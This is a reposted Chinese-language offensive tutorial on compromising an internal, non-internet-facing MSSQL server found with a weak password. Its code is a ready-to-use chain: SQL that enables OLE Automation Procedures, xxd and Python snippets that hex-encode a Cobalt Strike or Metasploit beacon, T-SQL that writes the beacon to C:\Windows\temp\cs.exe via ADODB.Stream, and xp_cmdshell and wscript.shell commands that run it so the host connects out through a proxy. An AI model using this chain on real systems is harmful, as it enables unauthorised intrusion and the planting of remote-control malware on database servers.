编者荐语：原理是通过MSSQL写入PE，通过出网主机代理上线，需要结合不出网上线主机方案，推荐使用 goproxy 代理上线。

转载自：https://mp.weixin.qq.com/s/aZSNpn-hLwI2MzyS0XKa8w

0x01 前言

一个MSSQL非注入的场景：在内网扫描到一个MSSQL弱口令，支持xp_cmdshell，Administrator权限，但不能出网，DNS也出不了，那么我们该如何将文件落地到目标主机并执行上线呢？

0x02 利用思路

我们可以通过当前这台能出网的主机开启一个Socks代理连接不出网主机的MSSQL，然后再利用以下方式将PE文件落地到不出网的MSSQL主机，最终通过出网主机来中转上线不出网主机。

0x03 启用OLE组件

在执行命令或写入文件时都需要用到sp_oacreate，这主要是用来创建OLE对象，所以需要先执行以下SQL语句来启用“OLE Automation Procedures”组件。

1
2
3
4
exec master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE
exec master.dbo.sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

图片

0x04 EXE转换HEX

使用以下方式将生成的CS/MSF攻击载荷文件转换为HEX编码，这里我找了几个可以转换HEX编码的方法，Linux的xxd命令，python脚本，或者010editor编辑器，根据个人习惯选择吧。

(1) Linux exe -> hex

1
xxd -ps beacon.exe hex.txt

图片

(2) python exe -> hex

1
2
3
4
5
import binascii
filename = 'beacon.exe'
with open(filename, 'rb') as f:
    content = f.read()
print(binascii.hexlify(content))

图片

(3) 010editor exe -> hex

利用这种方式拷贝下来的HEX也能使用certutil.exe -decodehex正常解码，但如果要用OLE组件写入时就还需要做下处理，将空格、换行都删掉，全部放在一行即可。

图片

0x05 EXE文件落地

将我们上边转换好的HEX编码放在第一行，加上0x，然后在本地的Navicat Premium数据库管理工具中执行即可，这时可以看到cs.exe文件已经成功落地到目标主机的磁盘。

注：xp_cmdshell组件调用的是cmd.exe，所以在利用这种方式写入大文件时可能会出现字符长度限制等问题。

1
2
3
4
5
6
7
8
9
10
11
DECLARE @DATA VARBINARY(MAX) = 0x-hex
        DECLARE @filepath VARCHAR(MAX) = 'C:\\Windows\\temp\\cs.exe'
        DECLARE @ObjectToken INT
        EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
        EXEC sp_OASetProperty @ObjectToken, 'Type', 1
        EXEC sp_OAMethod @ObjectToken, 'Open'
        EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA
        EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2
        EXEC sp_OAMethod @ObjectToken, 'Close'
        EXEC sp_OADestroy @ObjectToken
        SELECT @filepath

图片

图片

0x06 执行EXE上线

这时再利用xp_cmdshell、sp_oacreate等方式去执行刚落地的cs.exe即可上线。这里我只是根据这种场景进行了简单的模拟测试，不出网主机上线方式可参考我之前分享的。

利用MSF上线断网主机的思路分享、利用goproxy http上线不出网主机、利用Pystinger Socks4上线不出网主机 。

xp_cmdshell：

1
exec master..xp_cmdshell "cmd /c C:\\Windows\\temp\\cs.exe"

sp_oacreate：

1
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c C:\\Windows\\temp\\cs.exe'

图片

图片